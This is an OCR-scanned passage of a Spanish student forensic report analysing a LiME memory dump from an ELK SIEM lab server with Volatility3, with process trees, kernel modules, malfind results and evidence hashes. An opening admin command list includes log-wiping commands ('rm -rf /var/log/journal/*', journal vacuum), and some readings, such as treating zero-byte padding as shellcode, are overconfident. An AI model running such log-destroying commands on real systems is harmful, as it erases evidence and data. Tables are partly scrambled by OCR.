2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC

2025-12-01

21:11:16.000000

uTC
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config/pipelines.yml

sudo netstat -tuln | grep 1514

sudo ufw allow 514/udp

sudo rm -rf /var/log/journal/*

sudo journalctl --vacuum-time=1s

sudo journalctl --vacuum-size=500M

sudo systemctl restart rsyslog

sudo systemctl restart elasticsearch

sudo nano /etc/logstash/conf.d/

02-beats-input.conf
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Procesos con jerarquia (mas util para detectar malware oculto)

Ejecutamos el siguiente comando

python3 vol.py -f /home/kali/Documentos/memdump.lime linux.pstree

Procesos sospechosos identificados

Tras revisar la salida, solo hay 2 elementos realmente sospechosos:

Cadena sospechosa via SSH — sudo — insmod

sshd (PID 1854)
L— sshd (2229)
L— sshd (2283)
L— bash (2284)
L— sudo (3514)
L— sudo (3515)

L— insmod (3516)

¢Por qué es sospechoso?

insmod carga un médulo en el kernel.

Un atacante que obtiene acceso suele usar insmod para cargar:

% un rootkit

« un keylogger de kernel
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+« un médulo persistente oculto

Todo ocurre después de una sesion SSH esto indica actividad manual.

Alta probabilidad de compromiso.

Java con procesos hijo extrainos

Observaciones relevantes:

jJava (PID 986)
java (PID 990)
L— java (1612)

L controller (1639)

Estos son Indicadores sospechosos:

Tres procesos Java sin contexto (no parece un servidor web clasico, ni Elastic, ni

Jenkins).

El proceso hijo controller no es un proceso tipico en instalaciones normales de Java,

Java suele ser usado como loader para malware de botnet (Mirai-Java, Xor-DDoS, Kinsing,

etc.).

Esto es sospechoso y requiere analisis

Otros procesos anomalos, pero no necesariamente maliciosos
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psimon (PID 522 y 1423)

Nombre inusual.

Puede ser un proceso legitimo de monitoreo, pero también coincide con algunos

binarios usados para system fingerprinting.

Un proceso Node.js (PID 992)

Normal solo si el servidor corre servicios node.

¢Hay indicios de malware o backdoor?

Si existen indicios fuertes

Carga de un médulo (insmod) tras acceso SSH

Esto es tipico de rootkits tipo Diamorphine, Reptile, Adore-NG, Suterusu ocultacion

de procesos keyloggers de kernel

Comportamiento extraio en procesos Java

Muy posiblemente:

un crypto-miner,
un backdoor,

un loader para malware residente.
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Tabla 5

Comportamiento extrafo en procesos Java

PYTHON3 VOL.PY -F

/HOME/KALI/DOCUMENTOS/MEMDUMP.LIME LINUX.PSTREE

VOLATILITY 3 FRAMEWORK 2.27.0

PROGRESS: 100.00 Stacking attempts finished
OFFSET (V) PID TID PPID COMM
0X8ADFCO08AAS8CO 1 1 0 systemd

* 0X8ADFCAFF5180 447 447 1 systemd-journal
* 0X8ADFC4F08000 474 474 1 multipathd

* 0X8ADFC4D7A8C0 507 507 1 systemd-udevd
* 0X8ADFC4E5A8C0 881 881 1 systemd-network
* 0X8ADFC4E5D180 903 903 1 systemd-resolve
*0X8ADFC74ED180 904 904 1 systemd-timesyn
* 0X8ADFC4CE8000 906 906 1 VGAuthService
* 0X8ADFC53D8000 907 907 1 vmtoolsd

* 0X8ADFC4AC28C0 971 971 1 dbus-daemon

* 0X8ADFCC4F5180 976 976 1 polkitd

* 0X8ADFC7700000 981 981 1 systemd-logind
* 0X8ADFC39528C0 982 982 1 udisksd

* 0X8ADFC8ACASCO 986 986 1 java

* 0X8ADFC74F8000 990 990 1 java

** 0X8ADFC4850000 1612 1612 990 java

*** 0X8ADFCA9B8000 1639 1639 1612 controller

* 0X8ADFCCO03A8CO 991 991 1 filebeat
*0X8ADFC8ACD180 992 992 1 node
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* 0X8ADFC91CAS8C0
* 0X8ADFC91CD180

* 0X8ADFC8BC28C0

* 0X8ADFC86DD180

* )X8ADFCAC328C0

* 0X8ADFCD39A8C0

* 0X8ADFCD68D180

** OX8ADFC483A8C0

* 0X8ADFC63628C0

* 0X8ADFC08C5180

* 0X8ADFC637D180

** 0X8ADFC138A8C0

*++ OX8AE0009A0000
wx+ OX8ADFCC395180
wwxxx OX8ADFC35ED180
wwwwws OXBADFCC2FD180
wwwwwin OX8ADF1F815180
* 0X8ADFCC1E0000
0X8ADFC08AD180

* 0X8ADFC08A8000

* 0X8ADFCO8BASCO

* 0X8ADFC08BD180

* 0X8ADFC08B8000

* 0X8ADFC08C28C0

* 0X8ADFCO08CASCO

* 0X8ADFC09D0000

994

996

1007

1018

1470

1294

1425

1426

1797

1806

1854

2229

2283

2284

3514

3515

3516

2591

2

3

12

13

994

996

1007

1018

1470

1294

1425

1426

1797

1806

1854

2229

2283

2284

3514

3515

3516

2591

2

3

12

13

1

1

1

1

1854

2229

2283

2284

3514

3515

188

cron
rsyslogd
unattended-upgr
login

bash
ModemManager
systemd
(sd-pam)

fwupd

upowerd

sshd

sshd

sshd

bash

sudo

sudo

insmod
packagekitd
kthreadd
pool_workqueue__
kworker/R-rcu_g
kworker/R-rcu_p
kworker/R-slub__
kworker/R-netns
kworker/R-
mm_pe

rcu_tasks_kthre
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* 0X8ADFC09D28C0 14 14 2 rcu_tasks rude_
* 0X8ADFC09D5180 15 15 2 rcu_tasks_trace
* 0X8ADFCO09DASCO 16 16 2 ksoftirqd/0

* 0X8ADFC09DD180 17 17 2 rcu_preempt

* 0X8ADFC09D8000 18 18 2 migration/0

* 0X8ADFCO09ED180 19 19 2 idle_inject/O

* 0X8ADFCODAABSCO0 20 20 2 cpuhp/0

* 0X8ADFCO0DB5180 21 21 2 cpuhp/1

* 0X8ADFCO0DB0000 22 22 2 idle_inject/1

* 0X8ADFCO0DB28CO 23 23 2 migration/1

* 0X8ADFCODBASCO 24 24 2 ksoftirqd/1

* 0X8ADFCODCASCO 27 27 2 cpuhp/2
*0X8ADFCODCD180 28 28 2 idle_inject/2

* 0X8ADFCO0DC8000 29 29 2 migration/2

* 0X8ADFC0DD5180 30 30 2 ksoftirqd/2

* 0X8ADFCODEASCO 33 33 2 kdevtmpfs

* 0X8ADFCOE85180 34 34 2 kworker/R-inet_
* 0X8ADFCOE80000 35 35 2 kauditd

* 0X8ADFC1388000 39 39 2 khungtaskd

* 0X8ADFC19D28C0 41 41 2 oom_reaper

* 0X8ADFC19D0000 43 43 2 kworker/R-write
* 0X8ADFC19DD180 44 44 2 kcompactd0

* 0X8ADFC19D8000 45 45 2 ksmd

* 0X8ADFC19DAS8CO 46 46 2 khugepaged

* 0X8ADFC19EA8CO0 47 47 2 kworker/R-kinte
* 0X8ADFC19ED180 48 48 2 kworker/R-kbloc
* 0X8ADFC19E8000 49 49 2 kworker/R-blkcg
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* 0X8ADFC1AC0000 50 50 2 irg/9-acpi

* 0X8ADFC2380000 51 51 2 kworker/R-tpm_d
* 0X8ADFC23828C0 52 52 2 kworker/R-ata_s
* 0X8ADFC2385180 53 53 2 kworker/R-md

* 0X8ADFC23928C0 54 54 2 kworker/R-md_bi
* 0X8ADFC2395180 55 55 2 kworker/R-edac-
* 0X8ADFC2390000 56 56 2 kworker/R-devfr
* 0X8ADFC239A8C0 57 57 2 watchdogd

* 0X8ADFC1AC28C0 59 59 2 kswapdO

* 0X8ADFC2398000 60 60 2 ecryptfs-kthrea

* 0X8ADFC1AC5180 61 61 2 kworker/R-kthro
* 0X8ADFC290A8C0 62 62 2 irg/24-pciehp

* 0X8ADFC253A8C0 63 63 2 irg/25-pciehp

* 0X8ADFC290D180 64 64 2 irg/26-pciehp

* 0X8ADFC253D180 65 65 2 irg/27-pciehp

* 0X8ADFC2908000 66 66 2 irg/28-pciehp
*0X8ADFC2915180 67 67 2 irq/29-pciehp

* 0X8ADFC2538000 68 68 2 irg/30-pciehp

* 0X8ADFC2910000 69 69 2 irg/31-pciehp

* 0X8ADFC2548000 70 70 2 irq/32-pciehp

* 0X8ADFC29128C0 71 71 2 irq/33-pciehp

* 0X8ADFC254A8C0 72 72 2 irq/34-pciehp

* 0X8ADFC39F8000 73 73 2 irg/35-pciehp

* 0X8ADFC254D180 74 74 2 irq/36-pciehp

* 0X8ADFC39FA8CO0 75 75 2 irq/37-pciehp

* 0X8ADFC4210000 76 76 2 irg/38-pciehp

* 0X8ADFC39FD180 77 77 2 irg/39-pciehp
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*0X8ADFC42128C0 78 78 2 irq/40-pciehp

* 0X8ADFC3A08000 79 79 2 irg/41-pciehp
*0X8ADFC4215180 80 80 2 irq/42-pciehp

* 0X8ADFC3A0A8CO 81 81 2 irq/43-pciehp
*0X8ADFC4218000 82 82 2 irq/44-pciehp

* 0X8ADFC3A0D180 83 83 2 irg/45-pciehp

* 0X8ADFC421A8C0 84 84 2 irq/46-pciehp

* 0X8ADFC3A10000 85 85 2 irq/47-pciehp

* 0X8ADFC421D180 86 86 2 irg/48-pciehp

* 0X8ADFC3A128C0 87 87 2 irq/49-pciehp

* 0X8ADFC4225180 88 88 2 irg/50-pciehp

* 0X8ADFC3A15180 89 89 2 irg/51-pciehp

* 0X8ADFC4220000 90 90 2 irg/52-pciehp
*0X8ADFC3A1D180 91 91 2 irg/53-pciehp

* 0X8ADFC42228C0 92 92 2 irg/54-pciehp

* 0X8ADFC3A18000 93 93 2 irg/55-pciehp
*0X8ADFC422D180 95 95 2 kworker/R-acpi_
* 0X8ADFC4228000 96 96 2 scsi_eh_0
*0X8ADFC632A8C0 97 97 2 kworker/R-scsi_
* 0X8ADFC632D180 98 98 2 scsi_eh_1

* 0X8ADFC6328000 99 2 2 kworker/R-scsi_
* 0X8ADFC6365180 102 102 2 kworker/R-mid

* 0X8ADFC6378000 104 104 2 kworker/R-ipv6_
* 0X8ADFC53DAS8CO 112 112 2 kworker/R-kstrp
* 0X8ADFC53DD180 114 114 2 kworker/u257:0
* 0X8ADFC53E0000 119 119 2 kworker/R-crypt
* 0X8ADFCAFF0000 130 130 2 kworker/R-charg
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* 0X8ADFCB61D180 181 181 2 kworker/2:1H
*0X8ADFCB618000 183 183 2 kworker/R-mpt_p
* 0X8ADFCB575180 184 184 2 kworker/R-mpt/0
* 0X8ADFCB570000 185 185 2 scsi_eh_2

* 0X8ADFCB5728C0 186 186 2 kworker/R-scsi_
* 0X8ADFCB080000 187 187 2 scsi_eh_3

* 0X8ADFCB0828C0 188 188 2 kworker/R-scsi_
* 0X8ADFCB085180 189 189 2 scsi_eh_4

* 0X8ADFCB37A8C0 190 190 2 kworker/R-scsi_
* 0X8ADFCB37D180 191 191 2 scsi_eh_5

* 0X8ADFCB378000 192 192 2 kworker/R-scsi_
* 0X8ADFCB498000 193 193 2 scsi_eh_6

* 0X8ADFCB49A8C0 194 194 2 kworker/R-scsi_
* 0X8ADFCAEDD180 195 195 2 scsi_eh_7

* 0X8ADFCC015180 196 196 2 kworker/R-scsi_
* 0X8ADFCAED8000 197 197 2 scsi_eh_8

* 0X8ADFCAEDAS8CO 198 198 2 kworker/R-scsi_
* 0X8ADFCAEEAS8CO 199 199 2 scsi_eh_9

* 0X8ADFCAEED180 200 200 2 kworker/R-scsi_
* 0X8ADFCB3D0000 201 201 2 scsi_eh_10

* 0X8ADFCAEE8000 202 202 2 kworker/R-scsi_
* 0X8ADFCC085180 210 210 2 scsi_eh_11

* 0X8ADFCC088000 214 214 2 kworker/R-scsi_
* 0X8ADFCCO08AS8CO 215 215 2 scsi_eh_12
*0X8ADFCB3CAS8CO 216 216 2 kworker/R-scsi_
* 0X8ADFCB3CD180 217 217 2 scsi_eh_13
*0X8ADFCB3C5180 219 219 2 kworker/R-scsi_
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* 0X8ADFCB3C0000 221 221 2 scsi_eh_14
* 0X8ADFCAEF28C0 222 222 2 kworker/R-scsi_
* 0X8ADFCAEF0000 223 223 2 scsi_eh_15
*0X8ADFCC1BD180 224 224 2 kworker/R-scsi_
*0X8ADFCC1B8000 225 225 2 scsi_eh_16
* 0X8ADFCC1BA8CO 226 226 2 kworker/R-scsi_
* 0X8ADFCC1C8000 227 227 2 scsi_eh_17
* 0X8ADFCCO0B5180 228 228 2 kworker/R-scsi_
* 0X8ADFCC0B0000 229 229 2 scsi_eh_18
* 0X8ADFCC27A8CO 234 234 2 kworker/R-scsi_
* 0X8ADFCC10A8CO 235 235 2 scsi_eh_19
* 0X8ADFCC10D180 236 236 2 kworker/R-scsi_
* 0X8ADFCC108000 237 237 2 scsi_eh_20
*0X8ADFCC1CAS8CO 238 238 2 kworker/R-scsi_
* 0X8ADFCC1CD180 239 239 2 scsi_eh_21
* 0X8ADFCCO0B28C0 240 240 2 kworker/R-scsi_
*0X8ADFCC08D180 241 241 2 scsi_eh_22
* 0X8ADFCC27D180 242 242 2 kworker/R-scsi_
* 0X8ADFCAEF5180 243 243 2 scsi_eh_23
*0X8ADFCB3D28C0 244 244 2 kworker/R-scsi_
* 0X8ADFCC0828C0 245 245 2 scsi_eh_24
* 0X8ADFCC080000 246 246 2 kworker/R-scsi_
* 0X8ADFCB3C8000 247 247 2 scsi_eh_25
*0X8ADFCB3C28C0 248 248 2 kworker/R-scsi_
* 0X8ADFCC155180 249 249 2 scsi_eh_26
* 0X8ADFCC150000 250 250 2 kworker/R-scsi_
* 0X8ADFCC1528C0 251 251 2 scsi_eh_27
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* 0X8ADFCC2A8000 252 252 2 kworker/R-scsi_
* 0X8ADFCC2AAS8CO 253 253 2 scsi_eh_28

* 0X8ADFCC2AD180 254 254 2 kworker/R-scsi_
* 0X8ADFCC2C5180 255 255 2 scsi_eh_29

* 0X8ADFCC2C0000 256 256 2 kworker/R-scsi_
* 0X8ADFCC2C28C0 257 257 2 scsi_eh_30

* 0X8ADFCC2D5180 258 258 2 kworker/R-scsi_
* 0X8ADFCC2D0000 259 259 2 scsi_eh_31

* 0X8ADFCC2D28C0 260 260 2 kworker/R-scsi_
* 0X8ADFCC390000 279 279 2 kworker/u256:24
* 0X8ADFCC1E5180 287 287 2 scsi_eh_32

* 0X8ADFCC3AAS8CO 288 288 2 kworker/R-scsi_
* 0X8ADFCC020000 311 311 2 kworker/R-kdmfl
* 0X8ADFCC038000 340 340 2 kworker/R-raid5
* 0X8ADFCD398000 379 379 2 jbd2/dm-0-8

* 0X8ADFCC03D180 380 380 2 kworker/R-ext4-
* 0X8ADFCD68A8CO 472 472 2 kworker/R-kmpat
* 0X8ADFCD688000 473 473 2 kworker/R-kmpat
* 0X8ADFC4CEAS8CO 522 522 2 psimon

* 0X8ADFC395A8C0 569 569 2 irq/57-vmw_vmci
* 0X8ADFC3958000 570 570 2 irqg/58-vmw_vmci
* 0X8ADFC3A1A8CO 571 571 2 irq/59-vmw_vmci
* 0X8ADFC3950000 576 576 2 irg/16-vmwgfx

* 0X8ADFC3955180 577 577 2 kworker/R-ttm

* 0X8ADFC4AC5180 691 691 2 jbd2/sda2-8

* 0X8ADFC4AC0000 692 692 2 kworker/R-ext4-
* 0X8ADFC74E8000 885 885 2 kworker/R-cfg80
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* 0X8ADFC4838000

* 0X8ADFCODE8000

* 0X8ADF60030000

* 0X8AE0008028C0

* 0X8AE0009A28C0

* 0X8AE0009C0000

* 0X8ADFEAF30000

* 0X8ADF1F975180

* 0X8ADFC37A28C0

* 0X8ADF60078000

* 0X8ADED0028000

* 0X8ADEDOOF5180

* 0X8ADFCC1E28C0

* 0X8ADFC08C0000

* 0X8AE000E2D180

* 0X8AE000800000

* 0X8AE000805180

* 0X8ADF1F8128C0

* 0X8ADF1F810000

* 0X8AE0009C28C0

* 0X8ADFC35E8000

* 0X8ADFC422A8C0

1423

1767

1842

1940

1948

1986

2079

2098

2185

2202

2215

2220

2329

2330

2626

2640

2641

3518

3519

3520

3522

3524

1423

1767

1842

1940

1948

1986

2079

2098

2185

2202

2215

2220

2329

2330

2626

2640

2641

3518

3519

3520

3522

3524

psimon
kworker/1:1
kworker/u256:0
kworker/1:0H
kworker/0:2
kworker/u256:1
kworker/1:2
kworker/1:2H
kworker/2:0
kworker/2:0H
kworker/0:1H
kworker/u256:4
kworker/0:0
kworker/2:1
kworker/0:0H
kworker/u256:2
kworker/u256:3
kworker/1:1H
kworker/2:2H
kworker/u256:5
kworker/u256:6

kworker/0:2H

Llaves de ejecucién y binarios cargados (muy util para rootkits)

Ejecutamos el siguiente comando

python3 vol.py -f /home/kali/Documentos/memdump.lime linux.lsof

195
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Este comando nos da un volcado de descriptor de archivos abiertos (Isof o salida

similar) de un sistema Linux el cual cntiene informacién sobre:

PID (Process ID)

PPID (Parent PID)

Nombre del proceso

FD (file descriptor)

Tipo de archivo (regular, socket, pipe, character device, etc.)

Estado de permisos

Tiempos de acceso, modificacién y cambio

Tamano del archivo

Esto nos permite ver:

Qué procesos estan activos.

Queé recursos (archivos, sockets, pipes) estan usando.

Posibles interacciones entre procesos (IPC, sockets, pipes).

Indicadores de actividad de usuario y del sistema.

Procesos destacados

gdbus (PID 1806, 1812, 2594, etc.)

Varias instancias.
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FD de tipo anon_inode y socket.

Usa sockets para comunicacion interprocesos (SOCK).

El tiempo de actividad parece estable (timestamps consistentes).

Indicador: proceso normal del sistema, probablemente parte de systemd o DBus.

sshd (PID 1854, 2229, 2283)

Multiples instancias de SSH demonio, con redireccion de STDIN/STDOUT a /dev/null

0 a pts, varias conexiones activas via sockets (SOCK).

Se observa /dev/ptmx y /dev/pts/X, lo que indica sesiones de terminal activas.

Sesiones abiertas referenciadas por /run/systemd/sessions.

Esto indica usuarios conectados por SSH, probablemente el administrador o

conexiones remotas activas.

packagekitd (PID 2591) y subprocesos pool-spawner / gmain

Multiples FDs abiertos a sockets y anon_inodes.

Acceso a /var/lib/PackageKit/transactions.db a base de datos de transacciones de

actualizaciones.

Proceso tipico del sistema para manejar actualizaciones de paquetes.
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FDs de tipo anon_inode sugieren uso de epoll o eventfd, tipico de servicios que

esperan eventos.

bash (PID 2284)

Terminal /dev/pts/0

STDIN, STDOUT, STDERR correctamente asociados

FD 255 también en /dev/pts/0, probablemente sesion interactiva de Bash.

sudo (PID 3514, 3515)

Ejecutando comandos con elevacion de privilegios.

Acceso a /etc/sudoers y pipes de comunicacion.

Se observa interaccion con /dev/pts/0 y /dev/pts/1, esto es probablemente ejecucién

de insmod para cargar un modulo.

insmod (PID 3516)

Archivo cargado: /home/elk/LiME/src/lime.ko, tamafio: 1.95 MB

Esto indica carga de un modulo de kernel, en este caso LIiME (Linux Memory

Extractor).

Esto confirma que se esta realizando un volcado de memoria del sistema con

fines forenses o de analisis de incidentes.

Observaciones sobre seguridad / incidentes
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Cualquier carga de moédulo de kernel con sudo es sensible, LIME es un médulo de

memoria legitimo, pero puede ser usado por un atacante si tiene acceso a sudo.

Las sesiones SSH activas sugieren que hay al menos una conexiéon remota activa,
Sockets y pipes abiertos entre procesos sugieren comunicacién normal de servicios

(PackageKit, gdbus) y actividades del sistema.

Archivos de configuracion sensibles (/etc/sudoers) estan correctamente protegidos (-

r--r-----).

Linea de tiempo de eventos importantes

20:26 UTC — inicio de muchos procesos del sistema (sshd, gdbus, packagekitd).
21:11-21:18 UTC — actividad de usuario en Bash y sudo.

21:17-21:18 UTC — carga de modulo LIME (insmod)

21:18 UTC — posibles pipes creados para comunicacion con insmod / sudo.
Esto indica que la actividad del usuario y la extraccion de memoria se realizd

después del inicio de los servicios.

Resumen de patrones de actividad
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Tabla 6

Resumen de patrones de actividad

PROCESO ACTIVIDAD SEGURIDAD /
DESTACADA NOTAS

GDBUS Comunicacion IPC, Normal
anon_inodes,
sockets

SSHD Sesiones abiertas, Posible vector
terminales /dev/pts remoto si hay

intrusos

PACKAGEKITD Acceso a DB de Normal
transacciones,
sockets

BASH Terminal Normal
interactiva

SUDO Elevacion de Riesgo si no es
privilegios usuario autorizado

INSMOD Carga de LIME Accion forense

(médulo kernel)

legitima o riesgo si

malicioso

Buscar médulos del kernel cargados (rootkits)

Se ejecuto el siguiente comando

python3 vol.py -f /home/kali/Documentos/memdump.lime linux.lsmod

200
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Esto lista los médulos del kernel cargados en la memoria de un sistema Linux a

partir de un volcado (memdump.lime).

Cada fila muestra informacion sobre un modulo del kernel, incluyendo su direccion

en memoria (Offset), nombre (Module Name), tamano de cédigo (Code Size), indicadores

de seguridad (Taints), argumentos de carga (Load Arguments) y salida de archivo (File

Output).

Analisis general

Modulos del sistema y de red:

ip_tables, x_tables, nf_conntrack, xt_ LOG, xt_limit son mdédulos de filtrado y logging

de paquetes.

cfg80211, vsock, vmw_vsock _vmci_transport son moédulos relacionados con red,

virtualizacion y Wi-Fi.

Modulos de almacenamiento y RAID:

btrfs, raid0, raid1, raid10, raid456 son controladores de sistemas de archivos y

arreglos RAID.

ahci, libahci, pata_acpi son controladores de almacenamiento SATA/IDE.

Modulos de hardware y sonido:

snd, snd_pcm, snd_timer, snd_seq_device son drivers de sonido.

intel_rapl_msr, intel_rapl_common son drives de monitoreo de energia de CPU Intel.
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joydev, psmouse, usbhid, hid son periféricos de entrada (ratdn, teclado, joysticks).

Criptografia y hashing:

aesni_intel, sha256_ssse3, shal_ssse3, libcrc32c, aceleracion de cifrado y hashing.

Virtualizacién (VMware):

vmwgfx, vmw_balloon, vmw_vmci son médulos tipicos de maquinas virtuales

VMware.

Modulos con advertencias de seguridad:

LIME es el médulo de Volatility que se carga para permitir el volcado de memoria,

marcado como OUT OF TREE y UNSIGNED (no firmado por el kernel).

Esto puede indicar manipulacién o analisis forense.

Tabla resumida de los médulos mas importantes
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Tabla 7

Tabla resumida de los médulos mas importantes

CATEGORIA

MODULO(S) CLAVE

203

NOTAS IMPORTANTES

VOLATILITY / ANALISIS

RED Y RED VIRTUAL

FILTRADO DE
PAQUETES / FIREWALL
ALMACENAMIENTO /
RAID

SONIDO Y MULTIMEDIA

PERIFERICOS DE
ENTRADA
CRIPTOGRAFIA /
HASHING
VIRTUALIZACION
VMWARE

ENERGIA/ CPU

Buscar inyecciones de cédigo / memoria anémala

lime

cfg80211, vsock,
vmw_vsock _vmci_transport
ip_tables, x_tables,
nf_conntrack, xt LOG

btrfs, raid0, raid1, raid10,
raid456, ahci, libahci

snd, snd_pcm, snd_timer,
snd_seq_device

psmouse, usbhid, hid, joydev

aesni_intel, sha256 ssse3,
sha1_ssse3, libcrc32c
vmwgfx, vmw_balloon,
vMmw_vmci

intel_rapl_msr,

intel_rapl_common

Ejecutamos el siguiente comando

OUT OF TREE,
UNSIGNED, usado para
volcado de memoria
Controladores de red,
virtualizacion y Wi-Fi
Filtrado de trafico y
logging

Sistemas de archivos,
controladores SATA/IDE

Drivers de audio

Teclado, ratén, joysticks

Aceleracion de cifrado y

hashing

Controladores de VM

Monitoreo de energia de

CPU Intel
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python3 vol.py -f /home/kali/Documentos/memdump.lime linux.malfind

Analisis general

Plugin usado: linux.malfind

Detecta regiones de memoria anénimas (no respaldadas por archivos) con permisos

ejecutables (rwx o r-x).

Estas regiones suelen asociarse a inyecciones de cédigo, shellcode o malware en

memoria.

Procesos afectados:

PID 986 (java): multiples regiones sospechosas.

PID 990 (java): varias regiones de memoria anénima rwx.

PID 992 (node): memoria andénima rwx también detectada.

Caracteristicas de las regiones:

Muchas regiones tienen permisos rwx esto indica que se pueden leer, escribir y

ejecutar (comportamiento tipico de shellcode/memoria inyectada).

Se observan hexdumps repetitivos con operaciones como add byte ptr [rax], esto

indica patrén de NOP sled o cddigo polimorfico.
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Algunas regiones tienen r-x, lo que indica solo lectura y ejecucién, comun en codigo

legitimo cargado dinamicamente.

Patrones sospechosos:

Regiones grandes y anénimas:

0x714f942c7000 - 0x714f959e7000 (986 java) tiene aproximadamente 1.7 MB,

permisos rwx

0x78273c0c6000 - 0x78273c336000 (990 java) tiene aproximadamente 3.1 MB,

permisos rwx

Estos tamafios y permisos son inusuales para objetos de Java y Node normales, lo

que refuerza la hipétesis de codigo inyectado.

Los procesos java y node son comunmente atacados por malware debido a que

corren aplicaciones de alto nivel con acceso a la memoria y a la red.

Disassembly:

Muchas instrucciones repetitivas (add byte ptr [rax], al) esto es tipico de codigo

ofuscado o shellcode polimorfico para evitar deteccion por antivirus/memoria.

Algunas instrucciones (call, moyv, jne) sugieren funcionalidad real inyectada, pero el

patrén repetitivo indica manipulacion de memoria o NOP sled.
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Tabla 8

Resultados del desensmblado

PID PROC DIRECCION

ESO

INICIO

DIRECCION
FIN

TAMANO
APROXIMA

DO

PERMIS

oS

206

OBSERVACIO
NES CLAVE

986

986

986

986

990

990

990

java

java

java

java

java

java

java

0x714f8c800
000

0x714f93d38
000

0x714f942c7
000

0x714facbbc
000

0x782734600
000

0x78273bb38
000

0x78273c0c6
000

0x714f90290
000

0x714f93fa80
00

0x714f959e7
000

0x714facbbf0
00

0x782734a80
000

0x78273bda8
000

0x78273c336
000

1.7 MB

~1.7 MB

~1.7 MB

~60 KB

~288 KB

~3.2 MB

~3.1 MB

rwx

Regién
anoénima
ejecutable,
posibles
shellcode,
instrucciones
repetitivas y
ofuscadas.
Otra region
anénima con
patron NOP
sled, codigo
inyectado
probable.
Caodigo
ofuscado,
instrucciones
repetitivas,
inyeccion de
memoria
sospechosa.
Posible cédigo
legitimo, pero
mezcla de
NOP sled y
llamadas
internas
sospechosas.
Memoria
anonima,
patrén de NOP
sled, inyeccion
potencial.
Muy grande,
permisos
completos,
cédigo
posiblemente
malicioso.
Misma
observacion
que anterior,
alta
probabilidad de
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992 | node

992 | node

0xaf60b85b0
00

0x214b795dd
000

O0xaf60b85c0 4 KB
00

0x214b795de 4 KB
000

Relleno repetitivo con add byte ptr [rax],

malware en
memoria.

Regién
pequefa,
inyeccion
potencial.
Regién
pequefa,
cédigo
inyectado en
memoria de
Node.js.

207

Este patron aparece en casi todas las regiones (0x7f55e4183000, 0x7f55e41c3000,

0x7f55e4203000, etc.).

Este tipo de secuencia suele ser indicativa de padding o shellcode ofuscado. En

malware o exploits, se utiliza para alinear el cdédigo o confundir el analisis estatico.

También podria ser simplemente espacio reservado en memoria (una especie de

“NOP sled” usando add en lugar de nop).

Acceso a memoria con registros no inicializados (rax, rcx, rsi)

Muchas instrucciones operan sobre direcciones como [rax] o [rcx + offset] sin que se

vea un valor seguro cargado antes.

Esto es tipico de cddigo auto-modificante o shellcode dinamico que manipula su

propia memoria.
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Uso de instrucciones extrafias y poco comunes

int 0x38, fnop, fcmovb st(0), st(1), in al, dx

Estas instrucciones pueden ser anti-debug o anti-andlisis.

Memoria RWX

Todas las regiones mapeadas (Anonymous Mapping rwx) permiten lectura, escritura

y ejecucion, lo cual es un signo tipico de ejecucion dinamica de cédigo, muy comun en

exploits, cargadores de malware o JIT shells.

Patrones de “mov + sbb + add” con valores constantes

Secuencias como:

mov ecx, 0xe445a411

sbb al, byte ptr [rax]

add byte ptr [rcx + offset], reg

Todo esto apunta a manipulacion de memoria calculada.

Posiblemente estaban decodificando datos cifrados o construyendo instrucciones en

tiempo de ejecucion.
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Tabla 9
Deteccion de patrones en tiempo de ejecucion
# DIRECCION / PATRON OBSERVACIONES INDICADOR
PARTE OFFSET PRINCIPAL CLAVE DE
MALWARE
1 0x7f55e4a03000 add [rax], al Relleno /NOP sled  Alto
2 0x7f55e4a43000 add [rax], al + Inicio preparacion Alto
mov/sbb payload
3/4 0x7f55e4a83000/ add [rax], al + Stub de Muy alto
0x7f55e4ac3000 sbb/adc/rcr/xor/cwde decodificacion,
nucleo critico, anti-
debug
5 0x7f55e4b03000 add [rax], al + Preparacion final del Muy alto
push/lea/jmp payload
6 0x7f55e4b43000 add [rax], al + Anti-disassembly, Muy alto
xor/jmp manipulacién de
registros
7 0x7f55e4b83000 add [rax], al + adc / Relleno + Alto
push / add preparacion de
ejecucion
8-10 0x758466001000 add [rax], al Payload final en Muy alto

memoria, RWX,

page “malicious”
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Analisis Forense de la RAM memdump.lime con Volatility3

Datos Generales de la Evidencia

Nombre del archivo analizado: memdump.lime

Hash MD5: 87e4be4c6¢c7a808af6212e4a69faas57f

Hash SHA256:

eb90256449b9fd738fc76c5c437fe897e8dcdeedc20f70fd46d4281f13c089d2

Fecha de adquisicion: 02/12/2025

Herramienta utilizada: Volatility WorkBench

Analista responsable: grupo7

Como podemos observar el hash MD5 al ser procesado en el repositorio para su

analisis con fecha 02-12-2025 es el mismo que se obtuvo junto con la imagen extraida, esto

nos indica que la linea de tiempo, custodia y procesamiento no han sido corrompidas



Analisis Forense Digital de un SIEM no WAZUH 211

Figura 172

Hash MD5 resultante del proceso con Volatility WorkBench

PS G:\PARA-FORENCE-PBL> Certutil

MD5 hash de .\memdump.lime:
87e4bedc6c7aB808af6212e4a69faas7f

CertUtil: -hashfile comando completado correctamente.

PS G:\PARA-FORENCE-PBL> Certutil SHA256
SHA256 hash de .\memdump.lime:
eb98256449b9td738fc76c5c4371e897e8dcdeedc20t70Td46d4281113c089d2
CertUtil: -hashfile comando completado correctamente.
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6. Conclusiones y Recomendaciones

El analisis forense realizado sobre la imagen elk_var_particion.dd correspondiente al
servidor SIEM basado en ELK permitié identificar informacion relevante sobre la actividad
de usuarios, la operacion del sistema y la posible presencia de eventos relacionados con

ataques intencionales dentro del entorno de laboratorio.

Inicialmente, se revisaron numerosos archivos de configuracion del sistema
(incluyendo scripts de instalacion de sudo, shadow, passwd, Filebeat y Kibana). Estos
archivos no contenian informacion sobre usuarios conectados, sino configuraciones internas
del sistema y servicios vinculados al SIEM. Por ello, se determiné que la evidencia de

accesos debia buscarse especificamente dentro de los archivos de log del sistema.

Para ello, se configurd Autopsy para realizar busquedas mediante la herramienta
Keyword Search, la cual permite indexar e identificar cadenas especificas dentro de los
logs. Se disefidé una lista de palabras clave orientadas tanto a la autenticacion de usuarios
como a la deteccion de ataques, incluyendo términos como Accepted, Failed, session
opened, hydra, nmap, sshd, password, pam_unix y otros patrones relevantes. Esta lista se
aplicé sobre los directorios de logs mas importantes del sistema: /var/log/auth.log,

/var/log/syslog, /var/log/kibanal/, /var/log/elasticsearch/, entre otros.

Durante el analisis del contenido del disco, se identificaron varios fragmentos de logs

relevantes que indicaban:
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Sesiones de usuario legitimas asociadas al usuario elk, quien parecia ser el usuario

principal administrador del servidor.

Registros de autenticacion exitosos y fallidos relacionados con servicios como sshd,

systemd, y pam_unix.

Evidencia explicita del nombre del atacante de laboratorio (“atacanteg7”), lo cual

